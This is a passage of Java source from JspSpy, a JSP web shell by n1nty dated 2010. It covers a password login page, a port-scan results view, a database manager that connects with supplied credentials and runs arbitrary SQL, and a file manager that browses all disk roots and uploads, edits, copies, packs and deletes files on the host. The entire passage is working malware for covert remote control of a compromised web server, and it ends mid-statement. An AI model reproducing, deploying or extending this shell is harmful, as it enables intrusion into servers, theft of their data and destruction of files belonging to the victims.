1007rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
1008r.close();
1009} else {
1010rs.put(port,"Open");
1011}
1012s.close();
1013} catch (Exception e) {
1014if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
1015rs.put(port,"Open <span style=\"color:grey;font-weight:normal\"><<No Banner!>></span>");
1016if (r != null)
1017r.close();
1018} else {
1019rs.put(port,"Close");
1020}
1021}
1022}
1023out.println("<div style='margin:10px'>");
1024Set entrySet = rs.entrySet();
1025 Iterator it = entrySet.iterator();
1026 while (it.hasNext()) {
1027 Map.Entry e = (Map.Entry)it.next();
1028 String port = (String)e.getKey();
1029 String value = (String)e.getValue();
1030out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
1031}
1032out.println("</div>");
1033} catch (Exception e) {
1034
1035throw e ;
1036}
1037}
1038}
1039private static class VConnInvoker extends DefaultInvoker {
1040public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1041try {
1042PrintWriter out = response.getWriter();
1043Object obj = JSession.getAttribute(DBO);
1044if (obj == null || !((DBOperator)obj).isValid()) {
1045out.println(" <script type=\"text/javascript\">"+
1046" function changeurldriver(){"+
1047" var form = document.forms[\"form1\"];"+
1048" var v = form.elements[\"db\"].value;"+
1049" form.elements[\"url\"].value = v.split(\"`\")[1];"+
1050" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1051" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1052" }"+
1053" </script>");
1054out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1055"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1056"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
1057"<h2>DataBase Manager »</h2>"+
1058"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1059"<p>"+
1060"Driver:"+
1061" <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
1062"URL:"+
1063"<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1064"UID:"+
1065"<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1066"PWD:"+
1067"<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1068"DataBase:"+
1069" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1070" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1071" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1072" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1073" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
1074" <option value=' ` '>Other</option>"+
1075" </select>"+
1076"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1077"</p>"+
1078"</form></table><script>changeurldriver()</script>");
1079} else {
1080((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1081}
1082} catch (ClassCastException e) {
1083throw e;
1084} catch (Exception e) {
1085
1086throw e ;
1087}
1088}
1089}
1090//DBConnect
1091private static class DbcInvoker extends DefaultInvoker {
1092public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1093try {
1094PrintWriter out = response.getWriter();
1095String driver = request.getParameter("driver");
1096String url = request.getParameter("url");
1097String uid = request.getParameter("uid");
1098String pwd = request.getParameter("pwd");
1099String sql = request.getParameter("sql");
1100String selectDb = request.getParameter("selectDb");
1101if (selectDb == null)
1102selectDb = JSession.getAttribute("selectDb").toString();
1103else
1104JSession.setAttribute("selectDb",selectDb);
1105Object dbo = JSession.getAttribute(DBO);
1106if (dbo == null || !((DBOperator)dbo).isValid()) {
1107if (dbo != null)
1108((DBOperator)dbo).close();
1109dbo = new DBOperator(driver,url,uid,pwd,true);
1110} else {
1111if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
1112DBOperator oldDbo = (DBOperator)dbo;
1113dbo = new DBOperator(driver,url,uid,pwd);
1114if (!oldDbo.equals(dbo)) {
1115((DBOperator)oldDbo).close();
1116((DBOperator)dbo).connect();
1117} else {
1118dbo = oldDbo;
1119}
1120}
1121}
1122DBOperator Ddbo = (DBOperator)dbo;
1123JSession.setAttribute(DBO,Ddbo);
1124if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
1125Ddbo.getConn().setCatalog(request.getParameter("catalog"));
1126}
1127Util.outMsg(out,"Connect To DataBase Success!");
1128out.println(" <script type=\"text/javascript\">"+
1129" function changeurldriver(selectDb){"+
1130" var form = document.forms[\"form1\"];"+
1131" if (selectDb){"+
1132" form.elements[\"db\"].selectedIndex = selectDb"+
1133" }"+
1134" var v = form.elements[\"db\"].value;"+
1135" form.elements[\"url\"].value = v.split(\"`\")[1];"+
1136" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1137" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1138" }"+
1139" </script>");
1140out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1141"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1142"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
1143"<h2>DataBase Manager »</h2>"+
1144"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1145"<p>"+
1146"Driver:"+
1147" <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
1148"URL:"+
1149"<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1150"UID:"+
1151"<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1152"PWD:"+
1153"<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1154"DataBase:"+
1155" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1156" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1157" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1158" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1159" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
1160" <option value=' ` '>Other</option>"+
1161" </select>"+
1162"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1163"</p>"+
1164"</form><script>changeurldriver('"+selectDb+"')</script>");
1165DatabaseMetaData meta = Ddbo.getConn().getMetaData();
1166out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
1167"<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
1168out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
1169out.println("<option value='0'>-- Select a DataBase --</option>");
1170ResultSet dbs = meta.getCatalogs();
1171try {
1172while (dbs.next()){
1173out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
1174}
1175}catch(Exception ex) {
1176}
1177dbs.close();
1178out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
1179if (Util.isEmpty(sql)) {
1180String type = request.getParameter("type");
1181if (Util.isEmpty(type) || type.equals("switch")) {
1182ResultSet tbs = meta.getTables(null,null,null,null);
1183out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
1184tbs.close();
1185} else if (type.equals("struct")) {
1186String tb = request.getParameter("table");
1187if (Util.isEmpty(tb))
1188return;
1189ResultSet t = meta.getColumns(null,null,tb,null);
1190out.println(Table.rs2Table(t,"",false));
1191t.close();
1192}
1193}
1194} catch (Exception e) {
1195JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
1196throw e;
1197}
1198}
1199}
1200private static class ExecuteSQLInvoker extends DefaultInvoker{
1201public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1202try {
1203PrintWriter out = response.getWriter();
1204String sql = request.getParameter("sql");
1205String db = request.getParameter("selectDb");
1206Object dbo = JSession.getAttribute(DBO);
1207if (!Util.isEmpty(sql)) {
1208if (dbo == null || !((DBOperator)dbo).isValid()) {
1209((Invoker)ins.get("vConn")).invoke(request,response,JSession);
1210return;
1211} else {
1212((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1213Object obj = ((DBOperator)dbo).execute(sql);
1214if (obj instanceof ResultSet) {
1215ResultSet rs = (ResultSet)obj;
1216ResultSetMetaData meta = rs.getMetaData();
1217int colCount = meta.getColumnCount();
1218out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
1219out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
1220for (int i=1;i<=colCount;i++) {
1221out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
1222}
1223out.println("</tr>");
1224Table tb = new Table();
1225while(rs.next()) {
1226Row r = new Row();
1227for (int i = 1;i<=colCount;i++) {
1228String v = null;
1229try {
1230v = rs.getString(i);
1231} catch (SQLException ex) {
1232v = "<<Error!>>";
1233}
1234r.addColumn(new Column(v));
1235}
1236tb.addRow(r);
1237}
1238out.println(tb.toString());
1239out.println("</table><br/>");
1240rs.close();
1241((DBOperator)dbo).closeStmt();
1242} else {
1243out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
1244}
1245}
1246} else {
1247((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1248}
1249} catch (Exception e) {
1250
1251throw e ;
1252}
1253}
1254}
1255private static class VLoginInvoker extends DefaultInvoker {
1256public boolean doBefore() {return false;}
1257public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1258try {
1259PrintWriter out = response.getWriter();
1260out.println("<html><head><title>jspspy</title><style type=\"text/css\">"+
1261" input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
1262"a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
1263" </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
1264"<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
1265" <p><span style=\"font:11px Verdana;\">Password: </span>"+
1266" <input name=\"o\" type=\"hidden\" value=\"login\">"+
1267" <input name=\"pw\" type=\"password\" size=\"20\">"+
1268" <input type=\"hidden\" name=\"o\" value=\"login\">"+
1269" <input type=\"submit\" value=\"Login\"><br/>"+
1270"<!--<span style=\"font:11px Verdana;\">Copyright © 2010 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a>--></p>"+
1271" </form><span style='font-weight:bold;color:red;font-size:12px'>CY... I Love You. I Do! by n1nty 2010/8/18</span></body></html>");
1272} catch (Exception e) {
1273
1274throw e ;
1275}
1276}
1277}
1278private static class LoginInvoker extends DefaultInvoker{
1279public boolean doBefore() {return false;}
1280public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1281try {
1282JSession.setAttribute(PW_SESSION_ATTRIBUTE,"asd");
1283response.sendRedirect(SHELL_NAME);
1284String inputPw = request.getParameter("pw");
1285if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
1286//((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1287return;
1288} else {
1289JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
1290response.sendRedirect(SHELL_NAME);
1291return;
1292}
1293} catch (Exception e) {
1294
1295throw e ;
1296}
1297}
1298}
1299private static class MyComparator implements Comparator{
1300public int compare(Object obj1,Object obj2) {
1301 try {
1302 if (obj1 != null && obj2 != null) {
1303 File f1 = (File)obj1;
1304 File f2 = (File)obj2;
1305 if (f1.isDirectory()) {
1306 if (f2.isDirectory()) {
1307 return f1.getName().compareTo(f2.getName());
1308 } else {
1309 return -1;
1310 }
1311 } else {
1312 if (f2.isDirectory()) {
1313 return 1;
1314 } else {
1315 return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
1316 }
1317 }
1318 }
1319 return 0;
1320 } catch (Exception e) {
1321 return 0;
1322 }
1323}
1324}
1325private static class FileListInvoker extends DefaultInvoker {
1326public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
1327try {
1328String path2View = null;
1329PrintWriter out = response.getWriter();
1330String path = request.getParameter("folder");
1331String outEntry = request.getParameter("outentry");
1332if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
1333JSession.removeAttribute(ENTER);
1334JSession.removeAttribute(ENTER_MSG);
1335JSession.removeAttribute(ENTER_CURRENT_DIR);
1336}
1337Object enter = JSession.getAttribute(ENTER);
1338File file = null;
1339if (!Util.isEmpty(enter)) {
1340if (Util.isEmpty(path)) {
1341if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
1342path = "/";
1343else
1344path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
1345}
1346file = new EnterFile(path);
1347((EnterFile)file).setZf((String)enter);
1348JSession.setAttribute(ENTER_CURRENT_DIR,path);
1349} else {
1350if (Util.isEmpty(path))
1351path = JSession.getAttribute(CURRENT_DIR).toString();
1352JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
1353file = new File(path);
1354}
1355path2View = Util.convertPath(path);
1356if (!file.exists()) {
1357throw new Exception(path+"Dont Exists !");
1358}
1359File[] list = file.listFiles();
1360Arrays.sort(list,new MyComparator());
1361out.println("<div style='margin:10px'>");
1362String cr = null;
1363try {
1364cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
1365}catch(Exception e) {
1366cr = "/";
1367}
1368File currentRoot = new File(cr);
1369out.println("<h2>File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)</h2>");
1370out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
1371"<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
1372" <tr>"+
1373" <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
1374" <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
1375" <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
1376" </tr>"+
1377"</table>"+
1378"</form>");
1379out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
1380"<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
1381"<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
1382"<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
1383" | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
1384" | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
1385" | ");
1386File[] roots = file.listRoots();
1387for (int i = 0;i<roots.length;i++) {
1388File r = roots[i];
1389out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
1390if (i != roots.length -1) {
1391out.println("|");
1392}
1393}
1394out.println("</td>"+
1395"</tr></form>"+
1396"<tr class=\"head\"><td> </td>"+
1397" <td>Name</td>"+
1398" <td width=\"16%\">Last Modified</td>"+
1399" <td width=\"10%\">Size</td>"+
1400" <td width=\"20%\">Read/Write/Execute</td>"+
1401" <td width=\"22%\"> </td>"+
1402"</tr>");
1403if (file.getParent() != null) {
1404out.println("<tr class=alt1>"+
1405"<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
1406"<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
1407"</tr>");
1408}
1409int dircount = 0;
1410int filecount = 0;
1411for (int i = 0;i<list.length;i++) {
1412 File f = list[i];
1413if (f.isDirectory()) {
1414dircount ++;
1415out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
1416"<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
1417"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
1418"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1419"<td nowrap>--</td>"+
1420"<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
1421"<td nowrap>");
1422if (enter != null)
1423out.println(" ");
1424else
1425out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
1426out.println("</td></tr>");
1427} else {
1428filecount++;
1429out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
1430"<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
1431"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
1432"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1433"<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
1434"<td nowrap>"+
1435""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
1436"<td nowrap>"+
1437"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
1438"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
1439"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
1440if (enter == null ) {
1441out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
1442"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
1443"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
1444if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
1445out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
1446} else if (f.getName().endsWith(".rar")) {
1447out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
1448} else {
1449out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
1450}
1451}
1452out.println("</td></tr>");
1453}
1454}
1455out.println("<tr class=\"alt2\"><td align=\"center\"> </td>"+
1456" <td>");
1457if (enter != null)
1458out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
1459else
1460out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
1461out.println("</td>"+
1462" <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
1463"</table>");
1464out.println("</div>");
1465if (file instanceof EnterFile)
1466((EnterFile)file).close();
1467} catch (ZipException e) {
1468JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
1469throw e;
1470} catch (Exception e) {
1471JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
1472throw e;
1473}
1474}
1475}
1476private static class LogoutInvoker extends DefaultInvoker {
1477public boolean doBefore() {return false;}
1478public boolean doAfter() {return false;}
1479public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1480try {
1481Object dbo = JSession.getAttribute(DBO);
1482if (dbo != null)
1483((DBOperator)dbo).close();
1484Object obj = JSession.getAttribute(PORT_MAP);
1485if (obj != null) {
1486ServerSocket s = (ServerSocket)obj;
1487s.close();
1488}
1489Object online = JSession.getAttribute(SHELL_ONLINE);
1490if (online != null)
1491((OnLineProcess)online).stop();
1492JSession.invalidate();
1493((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1494} catch (ClassCastException e) {
1495JSession.invalidate();
1496((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1497} catch (Exception e) {
1498
1499throw e ;
1500}
1501}
1502}
1503private static class UploadInvoker extends DefaultInvoker {
1504public boolean doBefore() {return false;}
1505public boolean doAfter() {return false;}
1506public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1507try {
1508UploadBean fileBean = new UploadBean();
1509response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
1510fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
1511fileBean.parseRequest(request);
1512File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName());
1513if (f.exists() && f.length() > 0)
1514JSession.setAttribute(MSG,"<span style='color:green'>Upload File Success!</span>");
1515else
1516JSession.setAttribute("MSG","<span style='color:red'>Upload File Failed!</span>");
1517response.sendRedirect(SHELL_NAME);
1518} catch (Exception e) {
1519throw e ;
1520}
1521}
1522}
1523private static class CopyInvoker extends DefaultInvoker {
1524public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1525try {
1526String src = request.getParameter("src");
1527String to = request.getParameter("to");
1528InputStream in = null;
1529Object enter = JSession.getAttribute(ENTER);
1530if (enter == null)
1531in = new FileInputStream(new File(src));
1532else {
1533ZipFile zf = new ZipFile((String)enter);
1534ZipEntry entry = zf.getEntry(src);
1535in = zf.getInputStream(entry);
1536}
1537BufferedInputStream input = new BufferedInputStream(in);
1538BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
1539byte[] d = new byte[1024];
1540int len = input.read(d);
1541while(len != -1) {
1542output.write(d,0,len);
1543len = input.read(d);
1544}
1545output.close();
1546input.close();
1547JSession.setAttribute(MSG,"Copy File Success!");
1548response.sendRedirect(SHELL_NAME);
1549} catch (Exception e) {
1550
1551throw e ;
1552}
1553}
1554}
1555private static class BottomInvoker extends DefaultInvoker {
1556public boolean doBefore() {return false;}
1557public boolean doAfter() {return false;}
1558public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1559try {
1560response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2010 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a> <a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
1561"</div>");
1562} catch (Exception e) {
1563
1564throw e ;
1565}
1566}
1567}
1568private static class VCreateFileInvoker extends DefaultInvoker {
1569public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1570try {
1571PrintWriter out = response.getWriter();
1572String path = request.getParameter("filepath");
1573File f = new File(path);
1574if (!f.isAbsolute()) {
1575String oldPath = path;
1576path = JSession.getAttribute(CURRENT_DIR).toString();
1577if (!path.endsWith("/"))
1578path+="/";
1579path+=oldPath;
1580f = new File(path);
1581f.createNewFile();
1582} else {
1583f.createNewFile();
1584}
1585out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1586"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1587"<h2>Create / Edit File »</h2>"+
1588"<input type='hidden' name='o' value='createFile'>"+
1589"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1590" <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
1591"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
1592"<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1593"</form>"+
1594"</td></tr></table>");
1595} catch (Exception e) {
1596
1597throw e ;
1598}
1599}
1600}
1601private static class VEditInvoker extends DefaultInvoker {
1602public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1603try {
1604PrintWriter out = response.getWriter();
1605String path = request.getParameter("filepath");
1606String charset = request.getParameter("charset");
1607Object enter = JSession.getAttribute(ENTER);
1608InputStream input = null;
1609if (enter != null) {
1610ZipFile zf = new ZipFile((String)enter);
1611ZipEntry entry = new ZipEntry(path);
1612input = zf.getInputStream(entry);
1613} else {
1614File f = new File(path);
1615if (!f.exists())
1616return;
1617input = new FileInputStream(path);
1618}
1619
1620BufferedReader reader = null;
1621if (Util.isEmpty(charset) || charset.equals("ANSI"))
1622reader = new BufferedReader(new InputStreamReader(input));
1623else
1624reader = new BufferedReader(new InputStreamReader(input,charset));
1625StringBuffer content = new StringBuffer();
1626String s = reader.readLine();
1627while (s != null) {
1628content.append(s+"\r\n");
1629s = reader.readLine();
1630}
1631reader.close();
1632out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1633"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1634"<h2>Create / Edit File »</h2>"+
1635"<input type='hidden' name='o' value='createFile'>"+
1636"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1637" <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
1638"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
1639"<p>");
1640if (enter != null)
1641out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
1642else
